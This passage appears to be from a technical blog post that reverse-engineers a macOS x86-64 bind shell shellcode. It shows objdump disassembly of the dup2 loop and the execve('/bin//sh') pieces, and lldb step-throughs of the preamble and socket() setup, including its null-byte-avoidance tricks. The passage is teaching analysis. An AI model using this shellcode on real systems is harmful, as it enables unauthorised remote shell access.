       <span class="hljs-attr">9:</span> <span class="hljs-string">5e</span>                               <span class="hljs-string">pop</span>    <span class="hljs-string">rsi</span>
</code></pre><h3 id="heading-handle-management">Handle management</h3>
<p>Ibid</p>
<pre><code><span class="hljs-attribute">gbiondo</span>@tripleX bindshell_files % nasm -f macho<span class="hljs-number">64</span> handleManagement.asm   
<span class="hljs-attribute">gbiondo</span>@tripleX bindshell_files % objdump -D -M intel handleManagement.o 

<span class="hljs-attribute">handleManagement</span>.o:    file format mach-o <span class="hljs-number">64</span>-bit x<span class="hljs-number">86</span>-<span class="hljs-number">64</span>

<span class="hljs-attribute">Disassembly</span> of section __TEXT,__text:

<span class="hljs-attribute">0000000000000000</span> &lt;dup_loop<span class="hljs-number">64</span>&gt;:
       <span class="hljs-attribute">0</span>: <span class="hljs-number">55</span>                               push    rbp
       <span class="hljs-attribute">1</span>: <span class="hljs-number">58</span>                               pop    rax
       <span class="hljs-attribute">2</span>: b<span class="hljs-number">0</span> <span class="hljs-number">5</span>a                            mov    al, <span class="hljs-number">90</span>
       <span class="hljs-attribute">4</span>: <span class="hljs-number">0</span>f <span class="hljs-number">05</span>                            syscall
       <span class="hljs-attribute">6</span>: <span class="hljs-number">83</span> ee <span class="hljs-number">01</span>                         sub    esi, <span class="hljs-number">1</span>
       <span class="hljs-attribute">9</span>: <span class="hljs-number">79</span> f<span class="hljs-number">5</span>                            jns    <span class="hljs-number">0</span>x<span class="hljs-number">0</span> &lt;dup_loop<span class="hljs-number">64</span>&gt;
</code></pre><h3 id="heading-shell-execution">Shell execution</h3>
<p>Ibid</p>
<pre><code><span class="hljs-string">gbiondo@tripleX</span> <span class="hljs-string">bindshell_files</span> <span class="hljs-string">%</span> <span class="hljs-string">nasm</span> <span class="hljs-string">-f</span> <span class="hljs-string">macho64</span> <span class="hljs-string">shell.asm</span>             
<span class="hljs-string">gbiondo@tripleX</span> <span class="hljs-string">bindshell_files</span> <span class="hljs-string">%</span> <span class="hljs-string">objdump</span> <span class="hljs-string">-D</span> <span class="hljs-string">-M</span> <span class="hljs-string">intel</span> <span class="hljs-string">shell.o</span>           

<span class="hljs-attr">shell.o:</span>    <span class="hljs-string">file</span> <span class="hljs-string">format</span> <span class="hljs-string">mach-o</span> <span class="hljs-number">64</span><span class="hljs-string">-bit</span> <span class="hljs-string">x86-64</span>

<span class="hljs-string">Disassembly</span> <span class="hljs-string">of</span> <span class="hljs-string">section</span> <span class="hljs-string">__TEXT,__text:</span>

<span class="hljs-number">0000000000000000</span> <span class="hljs-string">&lt;__text&gt;:</span>
       <span class="hljs-attr">0:</span> <span class="hljs-number">31</span> <span class="hljs-string">f6</span>                            <span class="hljs-string">xor</span>    <span class="hljs-string">esi,</span> <span class="hljs-string">esi</span>
       <span class="hljs-attr">2:</span> <span class="hljs-number">99</span>                               <span class="hljs-string">cdq</span>
       <span class="hljs-attr">3:</span> <span class="hljs-number">48</span> <span class="hljs-string">bb</span> <span class="hljs-string">2f</span> <span class="hljs-number">62</span> <span class="hljs-number">69</span> <span class="hljs-string">6e</span> <span class="hljs-string">2f</span> <span class="hljs-string">2f</span> <span class="hljs-number">73</span> <span class="hljs-number">68</span>    <span class="hljs-string">movabs</span>    <span class="hljs-string">rbx,</span> <span class="hljs-number">7526411283028599343</span>
       <span class="hljs-attr">d:</span> <span class="hljs-number">52</span>                               <span class="hljs-string">push</span>    <span class="hljs-string">rdx</span>
       <span class="hljs-attr">e:</span> <span class="hljs-number">53</span>                               <span class="hljs-string">push</span>    <span class="hljs-string">rbx</span>
       <span class="hljs-attr">f:</span> <span class="hljs-number">54</span>                               <span class="hljs-string">push</span>    <span class="hljs-string">rsp</span>
      <span class="hljs-attr">10:</span> <span class="hljs-string">5f</span>                               <span class="hljs-string">pop</span>    <span class="hljs-string">rdi</span>
      <span class="hljs-attr">11:</span> <span class="hljs-number">55</span>                               <span class="hljs-string">push</span>    <span class="hljs-string">rbp</span>
      <span class="hljs-attr">12:</span> <span class="hljs-number">58</span>                               <span class="hljs-string">pop</span>    <span class="hljs-string">rax</span>
      <span class="hljs-attr">13:</span> <span class="hljs-string">b0</span> <span class="hljs-string">3b</span>                            <span class="hljs-string">mov</span>    <span class="hljs-string">al,</span> <span class="hljs-number">59</span>
      <span class="hljs-attr">15:</span> <span class="hljs-string">0f</span> <span class="hljs-number">05</span>                            <span class="hljs-string">syscall</span>
</code></pre><h3 id="heading-commentary">Commentary</h3>
<p>All these pieces of code are null-byte free on purpose. The original author has written the code as such because he wanted to have a portable shellcode.</p>
<p>In a subsequent article, I will explain some techniques that can be used to obtain clean shellcode. For the very moment, the objective of this part of the article was showing this part of shellcode development.</p>
<h1 id="heading-dynamic-binary-analysis">Dynamic binary analysis</h1>
<p>Also in this case, we can use the taxonomy defined above to keep the structure a bit more readable.</p>
<p>If not done yet, we start with the compilation, linking of the executable. The last instruction attaches lldb to the process.</p>
<pre><code>gbiondo@tripleX bindshell_files <span class="hljs-operator">%</span> nasm <span class="hljs-operator">-</span>f macho64 bindshell.asm  
gbiondo@tripleX bindshell_files <span class="hljs-operator">%</span> ld <span class="hljs-operator">-</span>L <span class="hljs-operator">/</span>Library<span class="hljs-operator">/</span>Developer<span class="hljs-operator">/</span>CommandLineTools<span class="hljs-operator">/</span>SDKs<span class="hljs-operator">/</span>MacOSX.sdk/usr<span class="hljs-operator">/</span>lib <span class="hljs-operator">-</span>lSystem bindshell.o <span class="hljs-operator">-</span>o bindshell
gbiondo@tripleX bindshell_files <span class="hljs-operator">%</span> lldb bindshell
</code></pre><p>We set a breakpoint in the main subroutine, and we're ready to go.</p>
<pre><code>(lldb) breakpoint set <span class="hljs-operator">-</span>n main
Breakpoint <span class="hljs-number">1</span>: where <span class="hljs-operator">=</span> bindshell`main, <span class="hljs-keyword">address</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x0000000100003f5d</span>
</code></pre><h2 id="heading-preamble">Preamble</h2>
<p>The preamble disassembled code is as follows:</p>
<pre><code><span class="hljs-attribute">bindshell</span>[<span class="hljs-number">0</span>x<span class="hljs-number">100003</span>f<span class="hljs-number">5</span>d] &lt;+<span class="hljs-number">0</span>&gt;:  mov    eax, <span class="hljs-number">0</span>x<span class="hljs-number">2</span>dfbfdff
<span class="hljs-attribute">bindshell</span>[<span class="hljs-number">0</span>x<span class="hljs-number">100003</span>f<span class="hljs-number">62</span>] &lt;+<span class="hljs-number">5</span>&gt;:  not    eax
<span class="hljs-attribute">bindshell</span>[<span class="hljs-number">0</span>x<span class="hljs-number">100003</span>f<span class="hljs-number">64</span>] &lt;+<span class="hljs-number">7</span>&gt;:  push   rax
<span class="hljs-attribute">bindshell</span>[<span class="hljs-number">0</span>x<span class="hljs-number">100003</span>f<span class="hljs-number">65</span>] &lt;+<span class="hljs-number">8</span>&gt;:  xor    ebp, ebp
<span class="hljs-attribute">bindshell</span>[<span class="hljs-number">0</span>x<span class="hljs-number">100003</span>f<span class="hljs-number">67</span>] &lt;+<span class="hljs-number">10</span>&gt;: bts    ebp, <span class="hljs-number">0</span>x<span class="hljs-number">19</span>
</code></pre><p>The readers should be familiar with the instruction <code>mov</code>, by now - so I am not going to explain it. On the other hand, it is interesting to understand how <code>~0xd2040200 &amp; 0xFFFFFFFF</code> becomes 0x2dfbfdff.
The operand <code>&amp;</code> does a bitwise AND, thus the <code>&amp; 0xFFFFFFFF</code> can be disregarded (FF is all one's, which is the neutral element for the <code>&amp;</code> operation. 
The tilde <code>~</code> operand inverts the bytes. I have prepared an image that explains how the operation went here - a picture is worth more than a thousand words, after all...</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1649941210097/FGHXPZsAb.png" alt="Tabella Complemento.png" /></p>
<p>We start the process and begin debugging. Before the execution of instruction at <code>&lt;+0&gt;</code> we have:</p>
<pre><code><span class="hljs-string">(lldb)</span> <span class="hljs-string">register</span> <span class="hljs-string">read</span> <span class="hljs-string">RAX</span> <span class="hljs-string">EAX</span>
     <span class="hljs-string">rax</span> <span class="hljs-string">=</span> <span class="hljs-number">0x0000000100074010</span>  <span class="hljs-string">dyld`dyld4::sConfigBuffer</span>
     <span class="hljs-string">eax</span> <span class="hljs-string">=</span> <span class="hljs-number">0x00074010</span>
</code></pre><p>and after it, obviously, we obtain:</p>
<pre><code><span class="hljs-string">(lldb)</span> <span class="hljs-string">register</span> <span class="hljs-string">read</span> <span class="hljs-string">RAX</span> <span class="hljs-string">EAX</span>
     <span class="hljs-string">rax</span> <span class="hljs-string">=</span> <span class="hljs-number">0x000000002dfbfdff</span>
     <span class="hljs-string">eax</span> <span class="hljs-string">=</span> <span class="hljs-number">0x2dfbfdff</span>
</code></pre><p>Now the following instruction (at <code>&lt;+5&gt;</code>) is a NOT, and after its execution, we have:</p>
<pre><code><span class="hljs-string">(lldb)</span> <span class="hljs-string">register</span> <span class="hljs-string">read</span> <span class="hljs-string">RAX</span> <span class="hljs-string">EAX</span> <span class="hljs-string">RSP</span>
     <span class="hljs-string">rax</span> <span class="hljs-string">=</span> <span class="hljs-number">0x00000000d2040200</span>
     <span class="hljs-string">eax</span> <span class="hljs-string">=</span> <span class="hljs-number">0xd2040200</span>
     <span class="hljs-string">rsp</span> <span class="hljs-string">=</span> <span class="hljs-number">0x00007ff7bfeff818</span>
</code></pre><p><em>Unsurprisingly! NOT is involutory!</em>
This has all been done in order to avoid storing null bytes. </p>
<p>The next instruction (<code>&lt;+7&gt;</code>) stores the contents of RAX in the stack (so, at the address <code>0x00007ff7bfeff810</code>):</p>
<pre><code><span class="hljs-string">(lldb)</span> <span class="hljs-string">register</span> <span class="hljs-string">read</span> <span class="hljs-string">RAX</span> <span class="hljs-string">EAX</span> <span class="hljs-string">RSP</span> <span class="hljs-string">EBP</span>
     <span class="hljs-string">rax</span> <span class="hljs-string">=</span> <span class="hljs-number">0x00000000d2040200</span>
     <span class="hljs-string">eax</span> <span class="hljs-string">=</span> <span class="hljs-number">0xd2040200</span>
     <span class="hljs-string">rsp</span> <span class="hljs-string">=</span> <span class="hljs-number">0x00007ff7bfeff810</span>
     <span class="hljs-string">ebp</span> <span class="hljs-string">=</span> <span class="hljs-number">0xbfeff920</span>
<span class="hljs-string">(lldb)</span> <span class="hljs-string">memory</span> <span class="hljs-string">read</span> <span class="hljs-string">$rsp</span>
<span class="hljs-attr">0x7ff7bfeff810:</span> <span class="hljs-number">00</span> <span class="hljs-number">02</span> <span class="hljs-number">04</span> <span class="hljs-string">d2</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-string">1e</span> <span class="hljs-string">d5</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">01</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span>  <span class="hljs-string">................</span>
<span class="hljs-attr">0x7ff7bfeff820:</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span>  <span class="hljs-string">................</span>
</code></pre><p>With the next instruction (<code>&lt;+8&gt;</code>) the contents of <code>ebp</code> are zeroed, and with the one after (<code>&lt;+10&gt;</code>) its 25th bit is set to 1:</p>
<pre><code><span class="hljs-string">(lldb)</span> <span class="hljs-string">register</span> <span class="hljs-string">read</span> <span class="hljs-string">RAX</span> <span class="hljs-string">EAX</span> <span class="hljs-string">RSP</span> <span class="hljs-string">EBP</span>
     <span class="hljs-string">rax</span> <span class="hljs-string">=</span> <span class="hljs-number">0x00000000d2040200</span>
     <span class="hljs-string">eax</span> <span class="hljs-string">=</span> <span class="hljs-number">0xd2040200</span>
     <span class="hljs-string">rsp</span> <span class="hljs-string">=</span> <span class="hljs-number">0x00007ff7bfeff810</span>
     <span class="hljs-string">ebp</span> <span class="hljs-string">=</span> <span class="hljs-number">0x02000000</span>
</code></pre><p>This closes the analysis of the first chunk.</p>
<h2 id="heading-socket">Socket</h2>
<p>The disassembled code for Socket is:</p>
<pre><code>    <span class="hljs-number">0x100003f6b</span> <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">14</span><span class="hljs-operator">&gt;</span>: push   rbp
    <span class="hljs-number">0x100003f6c</span> <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">15</span><span class="hljs-operator">&gt;</span>: pop    rax
    <span class="hljs-number">0x100003f6d</span> <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">16</span><span class="hljs-operator">&gt;</span>: cdq    
    <span class="hljs-number">0x100003f6e</span> <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">17</span><span class="hljs-operator">&gt;</span>: push   <span class="hljs-number">0x1</span>
    <span class="hljs-number">0x100003f70</span> <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">19</span><span class="hljs-operator">&gt;</span>: pop    rsi
    <span class="hljs-number">0x100003f71</span> <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">20</span><span class="hljs-operator">&gt;</span>: push   <span class="hljs-number">0x2</span>
    <span class="hljs-number">0x100003f73</span> <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">22</span><span class="hljs-operator">&gt;</span>: pop    rdi
    <span class="hljs-number">0x100003f74</span> <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">23</span><span class="hljs-operator">&gt;</span>: mov    al, <span class="hljs-number">0x61</span>
    <span class="hljs-number">0x100003f76</span> <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">25</span><span class="hljs-operator">&gt;</span>: syscall 
    <span class="hljs-number">0x100003f78</span> <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">27</span><span class="hljs-operator">&gt;</span>: xchg   eax, edi
    <span class="hljs-number">0x100003f79</span> <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">28</span><span class="hljs-operator">&gt;</span>: xchg   eax, ebx
</code></pre><p>The contents of <code>rbp</code> are stored in the stack (instruction <code>&lt;+14&gt;</code>), and then retrieved and pushed into <code>rax</code> (instruction <code>&lt;+15&gt;</code>).</p>
<pre><code><span class="hljs-string">(lldb)</span> <span class="hljs-string">register</span> <span class="hljs-string">read</span> <span class="hljs-string">RAX</span> <span class="hljs-string">EAX</span> <span class="hljs-string">RSP</span> <span class="hljs-string">EBP</span>
     <span class="hljs-string">rax</span> <span class="hljs-string">=</span> <span class="hljs-number">0x00000000d2040200</span>
     <span class="hljs-string">eax</span> <span class="hljs-string">=</span> <span class="hljs-number">0xd2040200</span>
     <span class="hljs-string">rsp</span> <span class="hljs-string">=</span> <span class="hljs-number">0x00007ff7bfeff808</span>
     <span class="hljs-string">ebp</span> <span class="hljs-string">=</span> <span class="hljs-number">0x02000000</span>
<span class="hljs-string">(lldb)</span> <span class="hljs-string">memory</span> <span class="hljs-string">read</span> <span class="hljs-string">$rsp</span>
<span class="hljs-attr">0x7ff7bfeff808:</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">02</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">02</span> <span class="hljs-number">04</span> <span class="hljs-string">d2</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span>  <span class="hljs-string">................</span>
<span class="hljs-attr">0x7ff7bfeff818:</span> <span class="hljs-string">1e</span> <span class="hljs-string">d5</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">01</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span>  <span class="hljs-string">................</span>
</code></pre><p>and after instruction <code>&lt;+15&gt;</code></p>
<pre><code><span class="hljs-string">(lldb)</span> <span class="hljs-string">register</span> <span class="hljs-string">read</span> <span class="hljs-string">RAX</span> <span class="hljs-string">EAX</span> <span class="hljs-string">RSP</span> <span class="hljs-string">EBP</span>
     <span class="hljs-string">rax</span> <span class="hljs-string">=</span> <span class="hljs-number">0x0000000002000000</span>
     <span class="hljs-string">eax</span> <span class="hljs-string">=</span> <span class="hljs-number">0x02000000</span>
     <span class="hljs-string">rsp</span> <span class="hljs-string">=</span> <span class="hljs-number">0x00007ff7bfeff810</span>
     <span class="hljs-string">ebp</span> <span class="hljs-string">=</span> <span class="hljs-number">0x02000000</span>
</code></pre><p>Now, we have already seen the <code>CDQ</code> instruction (converts a doubleword to a quadword) and the fact it zeroes the values of <code>EDX</code> and <code>EAX</code> (in this case, because the first register is positive). Shortly, before instruction <code>&lt;+16&gt;</code> we have</p>
<pre><code><span class="hljs-string">(lldb)</span> <span class="hljs-string">register</span> <span class="hljs-string">read</span> <span class="hljs-string">RSP</span> <span class="hljs-string">EBP</span>    <span class="hljs-string">DX</span> <span class="hljs-string">AX</span> <span class="hljs-string">EDX</span> <span class="hljs-string">EAX</span> <span class="hljs-string">RDX</span> <span class="hljs-string">RAX</span>
     <span class="hljs-string">rsp</span> <span class="hljs-string">=</span> <span class="hljs-number">0x00007ff7bfeff810</span>
     <span class="hljs-string">ebp</span> <span class="hljs-string">=</span> <span class="hljs-number">0x02000000</span>
      <span class="hljs-string">dx</span> <span class="hljs-string">=</span> <span class="hljs-number">0xf958</span>
      <span class="hljs-string">ax</span> <span class="hljs-string">=</span> <span class="hljs-number">0x0000</span>
     <span class="hljs-string">edx</span> <span class="hljs-string">=</span> <span class="hljs-number">0xbfeff958</span>
     <span class="hljs-string">eax</span> <span class="hljs-string">=</span> <span class="hljs-number">0x02000000</span>
     <span class="hljs-string">rdx</span> <span class="hljs-string">=</span> <span class="hljs-number">0x00007ff7bfeff958</span>
     <span class="hljs-string">rax</span> <span class="hljs-string">=</span> <span class="hljs-number">0x0000000002000000</span>
</code></pre><p>and after it, we have</p>
<pre><code>     <span class="hljs-attribute">rsp</span> = <span class="hljs-number">0</span>x<span class="hljs-number">00007</span>ff<span class="hljs-number">7</span>bfeff<span class="hljs-number">810</span>
     <span class="hljs-attribute">ebp</span> = <span class="hljs-number">0</span>x<span class="hljs-number">02000000</span>
      <span class="hljs-attribute">dx</span> = <span class="hljs-number">0</span>x<span class="hljs-number">0000</span>
      <span class="hljs-attribute">ax</span> = <span class="hljs-number">0</span>x<span class="hljs-number">0000</span>
     <span class="hljs-attribute">edx</span> = <span class="hljs-number">0</span>x<span class="hljs-number">00000000</span>
     <span class="hljs-attribute">eax</span> = <span class="hljs-number">0</span>x<span class="hljs-number">02000000</span>
     <span class="hljs-attribute">rdx</span> = <span class="hljs-number">0</span>x<span class="hljs-number">0000000000000000</span>
     <span class="hljs-attribute">rax</span> = <span class="hljs-number">0</span>x<span class="hljs-number">0000000002000000</span>
</code></pre><p>Then 1 is pushed in the stack (instruction <code>&lt;+17&gt;</code>):</p>
<pre><code><span class="hljs-string">(lldb)</span> <span class="hljs-string">memory</span> <span class="hljs-string">read</span> <span class="hljs-string">$rsp</span>
<span class="hljs-attr">0x7ff7bfeff808:</span> <span class="hljs-number">01</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">02</span> <span class="hljs-number">04</span> <span class="hljs-string">d2</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span>  <span class="hljs-string">................</span>
<span class="hljs-attr">0x7ff7bfeff818:</span> <span class="hljs-string">1e</span> <span class="hljs-string">d5</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">01</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span>  <span class="hljs-string">................</span>
<span class="hljs-string">(lldb)</span> <span class="hljs-string">register</span> <span class="hljs-string">read</span> <span class="hljs-string">RSP</span> <span class="hljs-string">EBP</span> <span class="hljs-string">RSI</span> <span class="hljs-string">RDI</span> <span class="hljs-string">DX</span> <span class="hljs-string">AX</span> <span class="hljs-string">EDX</span> <span class="hljs-string">EAX</span> <span class="hljs-string">RDX</span> <span class="hljs-string">RAX</span>
     <span class="hljs-string">rsp</span> <span class="hljs-string">=</span> <span class="hljs-number">0x00007ff7bfeff808</span>
     <span class="hljs-string">ebp</span> <span class="hljs-string">=</span> <span class="hljs-number">0x02000000</span>
     <span class="hljs-string">rsi</span> <span class="hljs-string">=</span> <span class="hljs-number">0x00007ff7bfeff948</span>
     <span class="hljs-string">rdi</span> <span class="hljs-string">=</span> <span class="hljs-number">0x0000000000000001</span>
      <span class="hljs-string">dx</span> <span class="hljs-string">=</span> <span class="hljs-number">0x0000</span>
      <span class="hljs-string">ax</span> <span class="hljs-string">=</span> <span class="hljs-number">0x0000</span>
     <span class="hljs-string">edx</span> <span class="hljs-string">=</span> <span class="hljs-number">0x00000000</span>
     <span class="hljs-string">eax</span> <span class="hljs-string">=</span> <span class="hljs-number">0x02000000</span>
     <span class="hljs-string">rdx</span> <span class="hljs-string">=</span> <span class="hljs-number">0x0000000000000000</span>
     <span class="hljs-string">rax</span> <span class="hljs-string">=</span> <span class="hljs-number">0x0000000002000000</span>
</code></pre><p>and popped back into <code>rsi</code> (instruction <code>&lt;+19&gt;</code>).</p>
<pre><code><span class="hljs-string">(lldb)</span> <span class="hljs-string">register</span> <span class="hljs-string">read</span> <span class="hljs-string">RSP</span> <span class="hljs-string">EBP</span> <span class="hljs-string">RSI</span> <span class="hljs-string">RDI</span> <span class="hljs-string">DX</span> <span class="hljs-string">AX</span> <span class="hljs-string">EDX</span> <span class="hljs-string">EAX</span> <span class="hljs-string">RDX</span> <span class="hljs-string">RAX</span>
     <span class="hljs-string">rsp</span> <span class="hljs-string">=</span> <span class="hljs-number">0x00007ff7bfeff810</span>
     <span class="hljs-string">ebp</span> <span class="hljs-string">=</span> <span class="hljs-number">0x02000000</span>
     <span class="hljs-string">rsi</span> <span class="hljs-string">=</span> <span class="hljs-number">0x0000000000000001</span>
     <span class="hljs-string">rdi</span> <span class="hljs-string">=</span> <span class="hljs-number">0x0000000000000001</span>
      <span class="hljs-string">dx</span> <span class="hljs-string">=</span> <span class="hljs-number">0x0000</span>
      <span class="hljs-string">ax</span> <span class="hljs-string">=</span> <span class="hljs-number">0x0000</span>
     <span class="hljs-string">edx</span> <span class="hljs-string">=</span> <span class="hljs-number">0x00000000</span>
     <span class="hljs-string">eax</span> <span class="hljs-string">=</span> <span class="hljs-number">0x02000000</span>
     <span class="hljs-string">rdx</span> <span class="hljs-string">=</span> <span class="hljs-number">0x0000000000000000</span>
     <span class="hljs-string">rax</span> <span class="hljs-string">=</span> <span class="hljs-number">0x0000000002000000</span>
<span class="hljs-string">(lldb)</span> <span class="hljs-string">memory</span> <span class="hljs-string">read</span> <span class="hljs-string">$rsp</span>
<span class="hljs-attr">0x7ff7bfeff810:</span> <span class="hljs-number">00</span> <span class="hljs-number">02</span> <span class="hljs-number">04</span> <span class="hljs-string">d2</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-string">1e</span> <span class="hljs-string">d5</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">01</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span>  <span class="hljs-string">................</span>
<span class="hljs-attr">0x7ff7bfeff820:</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span>  <span class="hljs-string">................</span>
</code></pre><p>Similarly, the instructions <code>&lt;+20&gt;</code> and <code>&lt;+22&gt;</code> store the value 2 in <code>rdi</code>, leading to the following situation:</p>
<pre><code><span class="hljs-string">(lldb)</span> <span class="hljs-string">register</span> <span class="hljs-string">read</span> <span class="hljs-string">RSP</span> <span class="hljs-string">EBP</span> <span class="hljs-string">RSI</span> <span class="hljs-string">RDI</span> <span class="hljs-string">DX</span> <span class="hljs-string">AX</span> <span class="hljs-string">EDX</span> <span class="hljs-string">EAX</span> <span class="hljs-string">RDX</span> <span class="hljs-string">RAX</span>
     <span class="hljs-string">rsp</span> <span class="hljs-string">=</span> <span class="hljs-number">0x00007ff7bfeff810</span>
     <span class="hljs-string">ebp</span> <span class="hljs-string">=</span> <span class="hljs-number">0x02000000</span>
     <span class="hljs-string">rsi</span> <span class="hljs-string">=</span> <span class="hljs-number">0x0000000000000001</span>
     <span class="hljs-string">rdi</span> <span class="hljs-string">=</span> <span class="hljs-number">0x0000000000000002</span>
      <span class="hljs-string">dx</span> <span class="hljs-string">=</span> <span class="hljs-number">0x0000</span>
      <span class="hljs-string">ax</span> <span class="hljs-string">=</span> <span class="hljs-number">0x0000</span>
     <span class="hljs-string">edx</span> <span class="hljs-string">=</span> <span class="hljs-number">0x00000000</span>
     <span class="hljs-string">eax</span> <span class="hljs-string">=</span> <span class="hljs-number">0x02000000</span>
     <span class="hljs-string">rdx</span> <span class="hljs-string">=</span> <span class="hljs-number">0x0000000000000000</span>
     <span class="hljs-string">rax</span> <span class="hljs-string">=</span> <span class="hljs-number">0x0000000002000000</span>
</code></pre><p>The very next instruction (<code>&lt;+23&gt;</code>) moves <code>0x61</code> in the lowest 8 bits of eax. <code>0x61</code> in decimal is 97. If we look in the <a target="_blank" href="https://opensource.apple.com/source/xnu/xnu-7195.141.2/bsd/kern/syscalls.master.auto.html">syscalls.master</a> file, we immediately notice that this is the number associated to the syscall <code>socket</code>.</p>
<p>Now, a <code>man 2 socket</code> gives the description of the command, which in C would be invoked as follows:</p>
<pre><code>     <span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;sys/socket.h&gt;</span></span>

     <span class="hljs-function"><span class="hljs-keyword">int</span>
     <span class="hljs-title">socket</span><span class="hljs-params">(<span class="hljs-keyword">int</span> domain, <span class="hljs-keyword">int</span> type, <span class="hljs-keyword">int</span> protocol)</span></span>;
</code></pre><p>Shortly, <code>socket()</code> creates an endpoint for communication and returns a descriptor.</p>
<p>In the man page, we find the description of the parameters:</p>
<blockquote>
<p>The domain parameter specifies a communications domain within which communication will take place; this selects the protocol family which should be used.  </p>
<p>These families are defined in the include file <code>⟨sys/socket.h⟩</code>.  The currently understood formats are:</p>
</blockquote>
<pre><code>PF_LOCAL        Host-<span class="hljs-type">internal</span> protocols, formerly <span class="hljs-keyword">called</span> PF_UNIX,
PF_UNIX         Host-<span class="hljs-type">internal</span> protocols, deprecated, use PF_LOCAL,
PF_INET         Internet <span class="hljs-keyword">version</span> <span class="hljs-number">4</span> protocols,
PF_ROUTE        <span class="hljs-type">Internal</span> Routing protocol,
PF_KEY          <span class="hljs-type">Internal</span> key-management <span class="hljs-keyword">function</span>,
PF_INET6        Internet <span class="hljs-keyword">version</span> <span class="hljs-number">6</span> protocols,
PF_SYSTEM       <span class="hljs-keyword">System</span> <span class="hljs-keyword">domain</span>,
PF_NDRV         Raw <span class="hljs-keyword">access</span> <span class="hljs-keyword">to</span> network device,
PF_VSOCK        VM Sockets protocols
</code></pre><blockquote>
<p>The socket has the indicated type, which specifies the semantics of communication.  Currently defined types are:</p>
</blockquote>
<pre><code><span class="hljs-attribute">SOCK_STREAM</span>
SOCK_DGRAM
SOCK_RAW
</code></pre><blockquote>
<p>A <code>SOCK_STREAM</code> type provides sequenced, reliable, two-way connection based byte streams.  An out-of-band data transmission mechanism may be supported.  A <code>SOCK_DGRAM</code> socket supports datagrams (connectionless, unreliable messages of a fixed (typically small) maximum length).  <code>SOCK_RAW</code> sockets provide access to internal network protocols and interfaces.  The type <code>SOCK_RAW</code>, which is available only to the super-user.</p>
<p>The protocol specifies a particular protocol to be used with the socket.  Normally only a single protocol exists to support a particular socket type within a given protocol family.  However, it is possible that many protocols may exist, in which case a particular protocol must be specified in this manner.  The protocol number to use is particular to the “communication domain” in which communication is to take place; see protocols(5).</p>
</blockquote>
<p>To understand what the author originally wanted to achieve, let's take a look at the code.</p>
<p>The original call to the <code>socket()</code> API was intended to be:</p>
<pre><code><span class="hljs-selector-tag">socket</span>(AF_INET, SOCK_STREAM, IPPROTO_IP);
</code></pre><p>In the <a target="_blank" href="https://opensource.apple.com/source/xnu/xnu-7195.141.2/bsd/sys/socket.h.auto.html">socket.h</a> we find the definition of <code>AF_INET</code> as follows:</p>
